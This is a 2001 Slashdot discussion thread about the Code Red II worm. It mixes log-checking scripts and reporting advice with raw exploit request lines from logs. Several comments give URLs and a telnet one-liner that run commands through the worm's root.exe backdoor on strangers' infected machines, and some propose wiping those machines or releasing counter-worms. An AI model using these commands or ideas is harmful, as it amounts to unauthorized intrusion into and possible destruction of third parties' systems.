    ok, here it is.. the bestest best code red log checker... checks for cr1 and 2 and gives basic stats before flooding your console with IPs..
    hope ya like it... do whatever ya feel like with it.. BSD license.

    #!/bin/sh
    echo Code Red Log Checker by MoOsEb0y
    if [ $# -ne 1 ]
    then
    echo 'usage:'
    echo 'cr.sh '
    echo 'Use . for the path to scan current directory'
    exit 3
    fi

    echo Checking for Code Red 1 Attacks...
    echo -n 'unique IPs:'
    cat $1/* | grep NNNNN | awk '{print $1}' | sort | uniq | wc -l
    echo -n 'total hits:'
    cat $1/* | grep NNNNN | awk '{print $1}' | wc -l
    echo Checking for Code Red 2 Attacks...
    echo -n 'unique IPs:'
    cat $1/* | grep XXXXX | awk '{print $1}' | sort | uniq | wc -l
    echo -n 'total hits:'
    cat $1/* | grep XXXXX | awk '{print $1}' | wc -l
    echo 'Would you like a detailed report on the IPs attacking your server'
    echo -n '(may be long if you run a high-traffic server) (Y/N)?'
    read OK
    if [ " $OK" = " y" -o " $OK" = " Y" ]
    then
    echo 'Infected Code Red 1 Hosts:'
    cat $1/* | grep NNNNN | awk '{print $1}' | sort | uniq
    echo 'Infected Code Red 2 Hosts:'
    cat $1/* | grep XXXXX | awk '{print $1}' | sort | uniq
    echo 'Infected Code Red 1 and 2 Hosts:'
    cat $1/* | grep NNNNN | grep XXXXX | awk '{print $1}' | sort | uniq
    echo 'end of listings'
    fi

    1. Re:Neat little proggie I wrote.. by Anonymous Coward · · Score: 0

      Wow, this is the best flamebait I've seen all day. Way to go. Not only is that inefficient beyond words, but it's broken at the third to last line, which will mostly likely return nothing (try egrep "NNNNN|XXXXX" $1/* | awk '{print $1}').

      ... or better yet, learn Perl.

    2. Re:Neat little proggie I wrote.. by JediTrainer · · Score: 2

      Thanks! I ran your proggy on my box, and here's what I got:

      I'm in the 24.x.x.x range, so I'm getting bashed quite a bit.

      Code Red 1:
      Unique IPs: 105
      Total hits: 105

      Code Red 2:
      Unique IPs: 172
      Total hits: 395

      This count is rising by the minute! No wonder my cable modem's been going nuts the last few days!

      --

      You can accomplish anything you set your mind to. The impossible just takes a little longer.
  327. Cool by Anonymous Coward · · Score: 0

    Greping my logs has never been so fun !!!

  328. Re:Easier to track the source now? by J'raxis · · Score: 2

    Nah, that was just the first occurrence on your subnet. It had to get there somehow. Even though this thing is concentrating on subnets, it must branch out or otherwise it wouldn't've propagated outside the subnet it started on. I'm seeing it on 66; others are reporting it on 4, 24, and more.

  329. Re:test by xenocontinua · · Score: 1

    I can't seem to figure out how to post a new comment, only reply to ones already posted. How do I post a comment?

  330. Re:Note to the crackers doing this: (-1 Redundant by Anonymous Coward · · Score: 0
    Yes, there is far more to life.

    Code Red I: 1.2 billion dollars
    Code Red II: > 1.2 billion dollars (presumably, since it's badder than the original)
    Being a trolling AC on Slashdot: priceless

    There are some things that money can't buy. For everything else, there's Micro$oft.

  331. Re:logs by mashy · · Score: 2

    I wrote a crude script that does this but mails information to abuse departments of ISPs where they can match up the hosts with their users and contact them if they wish. The parent poster may want to add this feature to his code, and I might clean my code up later and post it.

  332. Re:Why not fight back ??? by Anonymous Coward · · Score: 0

    If there is an open IIS webserver on the Internet running on a mission critical system then the people deserve to be taken out. The only thing running a web server should be a dedicated web server box. If you can't afford to have the box go down due to other stuff running on it, you need to rethink running web services on it. BTW: A hospital? If a hospital ran IIS on anything life threatening I'd sue them for malpractice. :-)

  333. Re:Why are unix hosts getting hit so hard with thi by TeddyR · · Score: 1

    The worm not only affects windows machines.. It also taxes the inftrastructure.

    several ISPs w/ proxy cache servers are noticing the hit as their machines try to handle the traffic.

    also, code red also affects other devices other than win2k.... [eg: cisco 600 dsl modems... which do not replicate the worm, but are affected by it due to a separate unrelated bug] and other products as well that have built in IIS servers (including some "hardware" products that have IIS emmedded... yes... there are some out thre that are affected)

    It affects unix machines that are having to respond to the "get" request

    --

    --
    Time is on my side
  334. Re:Something that should happen more often. by Malcontent · · Score: 2

    Considering that Apache is the most widely used web server you'd think it would be attacked more. OK maybe the apache folk are nice and ethical people who don't call people comminists or un-american and therefore don't piss off as many people but still a kiddie is not that selective.

    --

    War is necrophilia.

  335. Re:If this can't break Microsoft's back nothing wi by cyberdonny · · Score: 2
    > The genuine 8-Ball . Mysticism on demand!

    Just tried it. The question I asked was "will code red ii sink microsoft". The answer was... guess what...no, not that one, we're talking about Code Red here, not Sircam.

    It was: "Most likely".

  336. Re:cisco 675 hanging. by berzerker3 · · Score: 1

    If you have Qwest DSL is seems you are out of luck. They will not give you Any information you need to download the CBOS upgrades from Cisco (I am on the phone with them now) The guy I am talking to says they have the 2.4.1 upgrade but thats it (and no one there knows the URL for it to boot).

    Ok phone call is over. I asked the tech why I cannot have the keys I need to get the patches from Cisco and he tells me it would be like handing me a registration key for WIN 98 when I don't own it. Excuse me if I am mistaken but I HAVE the router. In fact I have three of them because they would rather send me a new one when ever I have a connection outage for more than a few hours rather than admit they are having network problems. I swear I am switching my ISP on Monday...

  337. Re:URM. Thjs is NOT good. GG Microsoft by Greyfox · · Score: 2
    There seems to be a happy little program called iisreset:

    http://support.microsoft.com/support/kb/articles/Q 202/0/13.ASP

    May I suggest iisreset /stop?

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  338. Re:a quick fix by Anonymous Coward · · Score: 0

    "So after the last 20 root exploits of Linux and Apache, we shouldn't use that either?"

    I believe the last time something this bad hit *nix platforms was about 1988, and it was called Morris.(Yeah, I know it was Sendmail and finger, but you get my point, no?)

  339. Re:the real kicker is by Simon+Brooke · · Score: 2

    You know, you're missing the point. A well set up UN*X box takes very little administration. The cost of administering a UN*X box will normally be lower than a Windows box doing the same job, because although the administrator costs more, you need h[im|er] for fewer hours.

    --
    I'm old enough to remember when discussions on Slashdot were well informed.
  340. A fun thing to do with infected systems! by akejay · · Score: 1

    I had some fun with this one: (URL follows) http://{infected-IP}/scripts/root.exe?/C%20dir%20c :\%20/S

    --
    one, two, one two like a duck
    1. Re:A fun thing to do with infected systems! by Anonymous Coward · · Score: 0

      you can't do \ in a http request use %5C instead. soo... http://{infected}/scripts/root.exe?/C%20dir%20c:%5 C%20/s%20/w is what you want. and don't forget other drives... Gavin Winter.

  341. Re:A few more details:It's a root trojan by nugatory · · Score: 1
    And, also anecdotally: If the default index page for the compromised IP address is the standard IIS "under construction" page, the trojan will be active at "scripts/root.exe". These are machines with a stone stock untouched OOTB IIS installation.

    The "too busy" reply happens for any HTTP request, as one would expect, but suggests that something beyond hosting the trojan is happening to the compromised machines. Either they're getting a lot of HTTP requests from somewhere, or something is happening on them.

  342. Yeesh....time to write antiviruses... by spam368 · · Score: 0

    I think someone needs to write virii to combat these Code Red virii....although that would probably increase the network slowdown...for a while anyways..

  343. Yep, this one is a little different. by DragonWyatt · · Score: 1
    Here's the "new" URI request (apologies for the broken lines; lameness mangler?):
    208.XX.XX.XX - - [04/Aug/2001:20:20:26 -0400] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 282 "-" "-"

    Notice the gratuitous X's instead of N's...
    Of course, Apache just laughs back with a 404.
    --
    Don't sweat the petty things. But do pet the sweaty things.
    1. Re:Yep, this one is a little different. by alcmena · · Score: 1

      Here's the really odd thing. For some reason the new URL does not generate a "malformed URL" in the error log. Rather, it simply generates a "file not found" error.

      I imagine there are tools out there now that scan the logs for "malformed URL" errors that have now been rendered useless. I personally used to ignore file not found errors as typos, so I never scanned for them.

    2. Re:Yep, this one is a little different. by serial+frame · · Score: 1
      Of course, Apache just laughs back with a 404.

      O'er here, thttpd doesn't laugh back at all. Instead, it shows a cute little message. Bourne shell source here:

      #! /bin/sh


      hits=`cat .hits`
      hits=`expr $hits + 1`
      echo $hits > .hits

      cat <<//END
      Content-Type: text/html

      <html><head><title>Slick.</ti tle></head>
      <body bgcolor="#000000" text="#ffffff">
      Great one.
      <h3>That's <b>$hits</b> today.</h3>
      </body></html>
      //END

      Of course, it's my default.ida.

      --

      -
      And the Angel said unto me, "These are the cries of the carrots! The cries of the carrots!"
  344. Re:a quick fix by sheldon · · Score: 1, Troll

    So after the last 20 root exploits of Linux and Apache, we shouldn't use that either?

    Hmm. I guess that means I'm back to my VIC-20!

  345. POSTing to root.exe? by nebby · · Score: 2

    Has anyone figured out how to execute commands using a POST request to root.exe? My curiosity (heh heh :)) has made me play with it a bit (but not too much, don't want the feds knocking on my door asking me what the phrase "Hacked by Chinese!" means to me) .. I can't seem to figure it out.

    I tried variants of the following:
    <HTML>
    <BODY>
    <FORM METHOD="POST" ACTION="http://xx.xx.xx.xx/scripts/root.exe">
    <INPUT TYPE="SUBMIT" NAME="" VALUE="exit&#13;&#10;">
    </FORM>
    </BODY></HTML>

    trying to send exit to the shell, but the "script" (root.exe) never finishes. I'm guessing that the data is coming over the pipe but lynx won't show it to me until the request is finished. I tried passing the NAME %1, %2, etc. (DOS style) but that didn't work either.

    As soon as I get a directory listing I am going to have a moment of silence for all these poor fucks.

    --
    --
    1. Re:POSTing to root.exe? by dozing · · Score: 1

      As posted below you can do this:

      GET /scripts/root.exe?+/c+start+http://www.digitalisla nd.com/codered/

      and it should pop up a web browser on their screen.

      --
      Dozings.com -- Its kinda funny... If you're as crazy as me.
    2. Re:POSTing to root.exe? by TheMightyZog · · Score: 1

      I can see it now:

      GET /scripts/root.exe?+/c+start+http://www.goatse.cx/

    3. Re:POSTing to root.exe? by GC · · Score: 2

      Very nice advice:

      Here is a oneliner:

      Usage popup

      #!/bin/sh
      echo "GET /scripts/root.exe?+/c+start+http://www.digitalisla nd.com/codered/ HTTP/1.0" | telnet $1 80

      Now how do I get it to tail my apache log and automatically run?

  346. Re:logs by SEWilco · · Score: 1

    Well, if the web server which you're running is IIS and you're affected...then you can't trust your logs as you don't know how many types of attacks have succeeded and how many people are using your system.

  347. Re:If this can't break Microsoft's back nothing wi by meta-monkey · · Score: 3, Funny

    WHY do i have to pay extra for the functionality of NOT being succeptable to virii and net attacks?

    Actually, you don't. Linux is free :-p

    --
    We don't have a state-run media we have a media-run state.
  348. HEY GENIUSES by Anonymous Coward · · Score: 1, Interesting

    All you do-gooders who are flitting around deleting root.exe -- nice job. Now there is no way to actually interact with the remote machine to remove the rest of the code, until it's reinfected anyway

  349. Re:Something that should happen more often. by GroovBird · · Score: 1

    Just keep an eye out to security.debian.org. There was a fix for an apache remote exploit on July 28.

    Also, that's the fix, it doesn't say when the problem arised.

  350. Re:Proposal for White Hat'ing CR][ by geomcbay · · Score: 2
    You might want to keep in mind that any scripts you write to fix compromised Code Red servers will technically be hack attempts (you will be accessing computer systems you are not authorized to access).

    Despite the best intentions you will be breaking the law. Keep that in mind.

  351. Nothing new by isorox · · Score: 2

    Several of us in #ljr on openprojects.net have being getting this for ages.

    I'm getting one atack about every 20 minutes, most are from servers that dont have anything on, although I've had a couple of "real" websites attack me.

    http://isorox.dyndns.org/~iso/ is a monitoring thing.

  352. Re:A few more details:It's a root trojan by NonSequor · · Score: 1

    Yeah, but you can fix that by running the update tool (up2date isn't it) shortly after you first log on.

    --
    My only political goal is to see to it that no political party achieves its goals.
  353. Re:A few more details:It's a root trojan by LeBleu · · Score: 1

    What you need to do is add /c followed by the command to the end of the url as a query parameter. For example:

    GET /scripts/root.exe?/c+net+send+localhost+"Your+comp uter+is+infected+with+Code+Red+2.+See+www.incident s.org+for+instructions+on+how+to+remove." HTTP/1.0

    This command (without the spaces that slashdot inserts) will pop up a message box on the local machine with the specified message.

    The problem is, www.incidents.org only has instructions on removing the orignal CodeRed. Nothing on removing the new variant, which also requires removing explorer.exe from c:\. So, I'd like to be able to use a better URL, if I had one.

    --
    --LeBleu

    If you're reading this you're part of the mass hallucination that is Kevin the Blue.

  354. Re:the real kicker is by clifyt · · Score: 2

    I'm going to have to defend the guy as I run Windows as well.

    In Depth Knowledge of FP2000 - Any of ya'll actually use this crap? I can't figure it out. I have clients that do EVERYTHING in FP and on occasion I'm called in to help them out. I COULD tell them to pick up Dreamweaver, but most are unwilling to pay for it...they use FP as it came bundled. I COULD tell them how to do everything from notepad and then how to set up an FTP connection through the cli, but if I did that I wouldn't be working for them. I wish I knew how people used this piece of crap software as I've never been able to get it to do crap for me, yet idiots seem to figure it out enough to connect to their servers and screw up pages. In this sense, ya use what the client is using...if you don't you aren't much of a consultant.

    Same goes with Windows. I tell all my users that I can set up *nix boxes for their networks. This would be really fricken cool IF I was on site more than an hour or two a month. These guys all want to admin their own servers and to be honest, the costs saved by doing it themselves far outweigh the cost of getting zapped by any of the worms - so far - for a small business. If you can't afford a full time WinAdmin, you certainly can't afford a full time UnixAdmin.

    WinAdmins are a dime a dozen and EVERYONE knows enough to be able to set these damn things up. Most businesses I deal with have a semi-dedicated winadmin whom is part network assistant / mostly something else. Its something I can show a business how to do in an afternoon with a few small books left in case they need them.

    On the other hand, I have a thousand page UNIX book that I still consider a starters guide that I've used for over 10 years now - "UNIX System V Release 4 - An Introduction" and it doesn't even cover things like Apache or SendMail in depth (or at all...I can't remember...I got enough other books on those subjects). Its a fricken introduction for christ's sakes. I could have gotten a few MCSE's from a book that size.

    So fuck it...if ya'll want to play the assholes and be all high and mighty about how 'l33t ya'll are go ahead. Its exactly the reason you had no friends in high school. Geeks think they are always right and everyone else is wrong. Its the same attitude the jocks had, but worse.

    I HATE M$ and I wouldn't suggest using it to anyone, BUT if someone suggests it to me, I'm going to give them the best service I can on that platform and I'm not going to turn my nose up at them. And YES, I did get hit by RedCode last time and this was after doing everything M$ said to do...Oops, apparently if you make any changes to the system AFTER you've done these, certain things will reenable all the changes you've made. I've now got a system where my boys have to go through a tedious proceedure ANYTIME they [install / uninstall / reconfigure] anything on my WinServers to ensure that nothing was undone. To be honest, it wouldn't be a bad practice on *nix to do the same thing and reaffirm all patches / etc stayed intact after installs. With the new RPMs (ok they are new to me...I'm use to installing with a MAKE) you don't know what the hell is being upgraded or what dependencies are being imported a good deal of the time.

    Shit, anymore its almost simpler than Winders...rpm some app and find they've rewritten your secured files with something wide open and the win boys will be laughing at all you dumbass linux people...now who'd CLI over an app without knowing what was on it?

  355. Re:Why don't they... by Anonymous Coward · · Score: 0

    have it go nuts infecting, then on the 20th instead of ddos'ing some static ip, ddos microsoft by all grabbing the patch at once.

  356. Re:Hypothesis by Anonymous Coward · · Score: 0

    You're not alone. I only regret that the first worm wasn't that aggressive.

  357. Re:Now that is funny! by billh · · Score: 3, Funny

    Look at his street address...

  358. Re:Why don't they... by Anonymous Coward · · Score: 0
    1. Get infected by Code Fix
    2. Get a list of CR-infected hosts from logfile
    3. Infect all CR-infected hosts with Code Fix
    4. Install ISS-patch and reboot
    You could also just loop for eg. ten hours and monitor for attempts made by Code Red, infecting the originating servers with Code Fix. When the 10 hours is up, install ISS-patch and reboot.
  359. Re:Tomorrow's writeups today! ;) by Anonymous Coward · · Score: 0

    Ya know.. heh.. Gibson is one of the folks capable of authoring a fine beast such as Code Red. I'd almost go so far as to say "few" folks capable of doing it.. Mr. Gibson, Sir? Where were you on the night of July 31, 2001?

  360. Mainstream Media doesn't GET IT!!! by BigTimOBrien · · Score: 1

    The same CNN that was holding a CodeRed vigil this week, predicting the impending doom of the internet as we know it is once again missing the boat.

    No story on CNN about what is probably one of the most embarrassing days for Microsoft EVER: Millions of people have access to a root trojan on millions of consumer boxes. AND THIS IS A COMPANY THAT WANTS TO INTRODUCE PASSPORT!! WTF!

    Note to corporate manager: Take your head out of your *ss. If your "IT" guy missed the first CodeRed and now your dealing with this. It's time to find a new "IT" guy. Preferably one with a reasonably big large against Micro$oft products.

    Also, if anyone is interested in a surprisingly GOOD article about Microsoft's arrogance read this month's IEEE Spectrum.

    --
    ------ Tim O'Brien
  361. 436 attempts so far by Teferi · · Score: 2

    @Home is indeed apparantly getting hit hard.

    --
    -- Veni, vidi, dormivi
  362. Re:Free r00t for all! by krogoth · · Score: 1

    grow your pr0n collection? augment your NJB usage? Someone already posted a request that will search for mp3s - just change mp3 to (xxx|harddcore|sex) :)

    --

    They that quote Benjamin Franklin on liberty and safety deserve neither.
  363. Re:logs by Anonymous Coward · · Score: 0

    Unless you have a way of serving at port 80 and logging how many hits take place there, you won't know. I would consider getting a personal copy of ZoneAlarm and blocking port 80 to begin with if you are not serving pages, rather than trying to get a peek at what's coming through. It might cause you more damage later on when you least expect it.

  364. Saturday morning I noticed lots and lots... by wo1verin3 · · Score: 1

    of hits on port 80, I started checking, they all ran IIS, I forwarded off a list of them to the abuse people as per technical support, they refused to help any more stating it wasn't there problem.

  365. Re:C:\dos C:\dos\run | run\dos\run by Anonymous Coward · · Score: 0

    "stays crunchy even" you say?

  366. Re:If this can't break Microsoft's back nothing wi by tswinzig · · Score: 2

    The licensing issue is irrelevant too. If my microwave catches fire, I can sue somebody. If my custom-built house collapses, I can sue somebody. If my shotgun explodes, I can sue somebody.

    First of all, the question is not IF you can sue SOMEBODY. You can ALWAYS sue somebody. The question is, does your case stand a chance in hell of being won?

    Secondly, who would we sue if Linux was found to have a serious flaw like the one in IIS? Don't you dare say the flaw would be fixed, because the flaw in IIS has already been patched, about 2 months ago, well before Code Red came out.

    --

    "And like that ... he's gone."
  367. Re:Why is PWS (IIS 4) on Windows 98 not vulnerable by TeddyR · · Score: 1

    The vulnerabilty istelf is NOT in the IIS service, but in the indexing service that needs IIS to work. The indexing service is installed with IIS4 on NT, IIS5 on 2000. [it is also installed with the PWS on 2kpro]

    BTW IIS3 is also vulnerable somewhat, but since it has many, many other holes, the only remedy for IIS3 is to upgrade to at least IIS4 + patches.

    --

    --
    Time is on my side
  368. Re:A few more details:It's a root trojan by purplemonkeydan · · Score: 1
    Try:

    net send 127.0.0.1 Your machine is compromised

  369. Wow by awptic · · Score: 1

    I deliberately started apache (as an @home customer i'm not 'supposed' to run servers) just to watch the incoming Code Red connections... in the past 4 hours, i've seen 215 connections, most of which from the same class B as me: cr806461-a:/var/log/apache# cat error.log | grep "24.156" | awk {' print $8 '} | uniq | wc -l 143 This one is spreading fast!

  370. Re:logs by Darth+Paul · · Score: 2, Informative

    careful - the new strains use default.ida?XXXXXXX. Just grepping for default.ida should be enough...

  371. Re:cisco 675 hanging. by Uller-RM · · Score: 2

    Turning the web server off is not enough - it will still crash it. Your only course of action is to either:

    1) Contact your ISP, have your connection changed to a static IP if it isn't already, and use RFC1483 bridging.

    2) Upgrade to version 2.4.2 of the CBOS firmware.

  372. Re:Why don't they... by aozilla · · Score: 2

    it fights fire with fire but its still illegal.

    It fights fire with water... A fire in someone else's house... Which would have set your house on fire too, except it's made of fireproof material (or you have a "firewall" between your houses).

    May or may not be legal when you look at it that way. I'm pretty sure you can legally break into someone's house if you see flames coming out of the roof.

    --
    ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
  373. Re:logs by JediTrainer · · Score: 2

    Holy shit! I just ran that against my logs, and I've got 493 so far!

    Good thing I'm running Apache :)

    --

    You can accomplish anything you set your mind to. The impossible just takes a little longer.
  374. Re:a quick fix by Anonymous Coward · · Score: 0

    > Wouldn't the best and quickest fix be to telnet into the machines and give 'em the old:
    c:\deltree windows

    > maybe we could even install scripts on our own servers to automatically do this each time we recieve a new attack. Automated windows repair solutions.

    That's my idea too.

    Maybe not deleting \windows only. Wipe all the machine. At least, the cry out would be such, that no-one will ever install IIS.

    Btw, I whish that the first worm had done that. 309 000 servers wiped off, including sonme of the update.microsoft.com (and as this worm also scan private subnets, I bet that half of microsoft serves would have died). Woooov. This would have rocked.

    Internet black day.

  375. Re:C:\dos C:\dos\run | run\dos\run by ananke · · Score: 2, Informative

    according to ntbugtraq, the worm copies cmd.exe to the scripts dir under iis. i've been getting a lot of these now in my snort log:

    [**] [1:1002:1] WEB-IIS cmd.exe access [**]
    [Classification: Attempted User Privilege Gain] [Priority: 8]
    08/04-20:59:21.340539 165.247.90.38:3711 -> 165.247.246.23:80

    from different ip's etc.

    --
    --- d'oh
  376. Re:Free r00t for all! by whatnotever · · Score: 1

    Nope, it works. I just checked. It would be *amazingly* trivial to wipe this poor bastard's hard drive right now... Golly, the power is making me dizzy. :)

    The deal is that it's running the root.exe (actually cmd.exe) as a cgi process. Look it up for specifics.

    Now, I wonder if I should bother at least finding a way to alert these people. For example, I could probably do something like run IE and have it go to a page about Code Red. Assuming the machine has a monitor and is in use by people (probably the case for most of the DSL IPs, anyway), the person will come back to their machine to find info ready for them. Or it might just pop up while they're using it! :)

  377. Re:logs by Kryptolus · · Score: 5, Informative

    For those who are interested in the source:
    http://www.kryptolus.com/red.txt

    On another note, a server whose identity I will not name(solaris w/ apache) was hit with 17000 attacks as of yesterday(the server handles a lot of ips).

    --

    --
    Violators will be prosecuted and prosecutors will be violated.
  378. Found this at one of the infected sites by Iron+Monkey · · Score: 1

    I pointed my browser at some of the IP's that tried to infect my machine. I found the following pages (or variants of the following (red on black):

    fuck CHINA Government
    fuck PoizonBOx
    contact:sysadmcn@yahoo.com.cn

    fuck USA Government
    fuck PoizonBOx
    contact:sysadmcn@yahoo.com.cn

    sex0r lowd l33tn3ss
    sex0r geeklab.org
    contact:lowd@geeklab.org

    --
    If my enemy's enemy is my friend, what happens if my enemy is his own worst enemy?
  379. Attacks by erc · · Score: 1

    I've had 155 hits so far ("grep /default.ida /etc/httpd/logs/access_log") - most of them have been within the last 24 hours or so.

    Not that I'm vulnerable (running Linux, OpenBSD, Apache and all), but it's still an annoyance.

    --
    -- Ed Carp, N7EKG erc@pobox.com PGP KeyID: 0x0BD32C9B What I'm up to: http://intuitives.mine.nu
  380. Wrong by Anonymous Coward · · Score: 0
    Most of my Code Red 2 hits are coming from servers in the 24.x.x.x range, the last 3 octets seem to be random (about half the time, the second octet is also the same as mine. Maybe the pattern is actually the following (just a guess):

    1/8: random
    4/8: 192.168.x.x
    3/8: 192.x.x.x

    This would be consistent with my logs, I've been hit about 100 times now.

  381. Re:Hypothesis by LinuxHam · · Score: 1

    Oh hell yeah, without a doubt.

    --
    Intelligent Life on Earth
  382. Personal Web Server by Anonymous Coward · · Score: 0

    ive gotten quite a few logs from this worm from *apparent* microsoft personal web servers (on 98SE and the like). does anybody know if it can infect this? i thought that pws was a stripped down form of IIS...

  383. Re:Hypothesis by cyberdonny · · Score: 2
    It can only get better... I'm already looking forward to Code Red III, to be released on the second anniversary of the Red Hat IPO.

    Who known, maybe now is the time to buy again some RHAT stock... Indeed, people will need another OS once they've thrown out MShit.

  384. Re:logs by Saint+Aardvark · · Score: 2
    I've said it before, I'll say it again:

    Mail those logs!

    From http://dshield.org/codered.html:

    As you have probably heard, the Code Red worm has infected over 100,000 machines running Microsoft IIS, and the total is rising. We need to identify the infected machines so that the owners of these machines can be notified so that they can be fixed. We are appealing to DShield submitters to do a special one time only submission for log entries that contains this information.

    Linux and other *NIX users Can do this by changing to the directory where your web server logs are located and executing a script like this:

    grep 'default.ida?NNNNN' access_log | mail -s 'APACHE' redalert@dshield.org

  385. Re:ARP Broadcast spamming by skilbeck · · Score: 1

    Boot Win2k, use CommView - the packets are all similar (approx 64bytes) - still being spammed here, but it's only taking ~2% of my bandwidth...

  386. Re:Something that should happen more often. by tswinzig · · Score: 3, Redundant

    Ha ha, that was funny! Of course we know worms never infect unix or open source systems !

    --

    "And like that ... he's gone."
  387. Info from BugTraq, where to send your log files... by codewolf · · Score: 1

    ---------- Forwarded message ---------- Date: Sat, 4 Aug 2001 23:00:39 -0600 (MDT) From: Alfred Huger To: incidents@securityfocus.com Subject: Code Red Revision Evening all, I had planned on sending out a thanks this evening to all of the contributors (in terms of logs) who came through on the Code Red (revision 2) surge last week. Regrettably it looks like I will have to wait due to a new variant or rather new worm on the loose. As some of you know a new worm has been released into the wild which uses the same exploit - the Microsoft Indexing Server/Indexing Services ISAPI Buffer Overflow Attack (http://www.securityfocus.com/bid/2880). However, this is most likely not a revision of the initial Code Red worm but a new worm which simply uses uses the same entry point. It carries an actual malicious payload and has a number of other very interesting features. The SecurityFocus ARIS Team and eEye Digital Security will be releasing an in-depth writeup in the next hour or two with technical details as well as information about it's spread to date. As opposed to filling the list with logs of attacks I will reserve the list for discussion of the worm's payload and features - after we post an analysis. So very shortly. Until then, it would be fantastic if you can send your log files to: aris-report@securityfocus.com Because we have caught this very early we plan on starting the notification process tonight. We sent close to 400,000 notifications against Code Red 1 & 2 previously - hopefully because we are on top of this our notifications now will help address the situation much, much faster. If you would like to send offending IP data - Please send it in the following format: IP ADDRESS DATE/TIME Or something similar to this. Please ensure the information is contained to IP address and date per line as we do our notification automatically and our system needs to be to understand the los you send us. We will be posting more shortly. -Al VP Engineering SecurityFocus.com "Vae Victis"

    --
    http://www.codewolf.com - Just good stuff to waste time
  388. Re:Free r00t for all! by Anonymous Coward · · Score: 0

    Very true, very true.

    I found a win98 box with it's C drive open for global read/write access on a company LAN, a few weeks ago... uploaded a hello.bmp and made it the desktop wallpaper. Shortly before setting the read-only attributes on hello.bmp and win.ini (stores background information) and adding some lines to autoexec.bat to renew hello.bmp and win.ini every bootup just incase the user managed to change it back.

    Wonder what happened to the poor guy when he couldn't figure out how to change the background and had to get the sysadmin in...

  389. Re:Why don't they... by Emugamer · · Score: 1

    May or may not be legal when you look at it that way. I'm pretty sure you can legally break into someone's house if you see flames coming out of the roof. yes but what was said was an anti worm..... which replaces even those not burning yet but those that could be burnt ... firebreakers are legal but only by firefighters sanctioned by the government breaking into a burning house is still robery unless you carry the baby out to safety.. don't mind the mumbleing its getting late here

  390. Re:logs by Malcolm+Chan · · Score: 1

    Apache... you'd have to be running a web server of some kind to be affected at all.

    --

    /MC

  391. Attempts here by spinfire · · Score: 2, Informative

    I've compiled a list of IPs that have made 404 hits on default.ida. Companys like @home and speakeasy (my ISP) need to crack down on IIS users on home DSL networks and get them to install the patch. This many infected hosts is not a good thing.

    1. Re:Attempts here by Anonymous Coward · · Score: 0

      And they only scan for news servers by scanning port 119. From the same address every time. If you wanted to run a news server, it would be trivial to do so, just change the port or block that address (of course it probably changes sometimes).

      I don't think they're really looking for people deliberately running news servers anyway, they're looking for people with badly configured proxies, because one of the earliest windows based proxies opened port 119 to the whole world by default. I won't mention a name because I'm not sure I remember which one it was correctly.

      But, if that's truly the reason they do it, then maybe, just maybe, they have the good sense to scan for broken web servers, not just all web servers.

      Not sure if I've had any code red attempts, my web server's been offline for a while, and my router doesn't log attempts on forwarded ports. I set it back up just now to see if I get anything. (Running Apache, of course!)

    2. Re:Attempts here by Megahurts · · Score: 1

      I agree that they should "crack down on IIS use" but I'm not so sure I trust them to do so properly. I have a feeling they'd just put a ban on all home web servers. I know I certainly don't want to pay for the kind of storage I use when I have plenty of bandwidth to serve the paltry number of hits I generate (mostly images and vid clips and prank calls I share with a friends through email and web boards - nothing blatantly illegal or widespread)

    3. Re:Attempts here by Com2Kid · · Score: 1

      Yugh, amen to that, people need to learn, don't run HTTP servers over a 15Kilobyte per second upload connection, yuck!

      Some @Home users are actualy blessed with a local ISP that gives them more then 128kbit, but to them I say, run a FTP site instead! ;)

      Seriously though, this affects me not in the least because I am not running any sort of server software except for the occasional P2P program. Big whoop, so some more unpatched machines are now officaly fux0red, yugh, so whats new?

  392. Re:Code Red III ? by Anonymous Coward · · Score: 0

    Go away Wipo.

  393. Re:Why don't they... by david+duncan+scott · · Score: 2

    Yes, and it would be especially funny if, like Robert T. Morris Jr. before you, you weren't quite as smart as you thought.

    --

    This next song is very sad. Please clap along. -- Robin Zander

  394. Mountain Dew by Speare · · Score: 2

    All this comes at a bad time for Mountain Dew's new fruity flavor, called Code Red, too.

    First month it's on the market, and the brand new trademark is sullied by bad references to computer hacking, worms, viruses and international disputes. Is there truly "no bad publicity"?

    Of course, like the word 'spam' and the Hormel product SPAM(tm), trademark law rightfully doesn't support serious legal implications, and wouldn't stand a chance against mob inevitability even if it did. Just kinda funny to watch it happen.

    --
    [ .sig file not found ]
    1. Re:Mountain Dew by Fishstick · · Score: 3, Informative

      >sullied by bad references to computer hacking

      This doen't appear to be the case, at least not in the covenience store located in my building at work. Hearing the reference to the new soda 'popular with hackers' in the news report about the worm, I looked it up on Pepsi's website (having never heard of it).

      When I discovered that it was a Mountain Dew flavor, I decided to wander downstairs to see if the guy had it in, and to possibly check it out.

      "No, it is all gone... should have some more it by Monday."

      Stopped at the local Dominick's yesterday where it was the same story. If anything, the worm has generated free publicity, seemigly resulting on a run on the product in the Elk Grove/Schaumburg/Palatine suburban area.

      Remember, there is no such thing as "bad" pubilicity, right?

      --

      There is much cruelty in the universe, John.
      Yeah, we seem to have the tour map.

    2. Re:Mountain Dew by egburr · · Score: 1
      http://www.eeye.com/html/Research/Papers/DS2001080 2.html

      The Code Red worm, named for the new flavor of Mountain Dew soda preferred by the eEye Digital Security team, sends probes across the Internet, looking for computers to break into.

      --

      Edward Burr
      Having a smoking section in a restaurant is like having a peeing section in a swimming pool.
  395. Re:@home problems... by jmitchel!jmitchel.co · · Score: 1

    The ARP storm on @Home let up here in Chicago about 8:45 AM CDT. I would say that I am still seeing an above-average number of ARP who-has packets, but far less frequently now. I can still contact several servers that recently probed me, so I trust they haven't been booted my @Home, but something significant has happened.

  396. Re:Bookmarklet for IIS detection? by Simon+Brooke · · Score: 2

    Here it is (I did this quite a while ago)

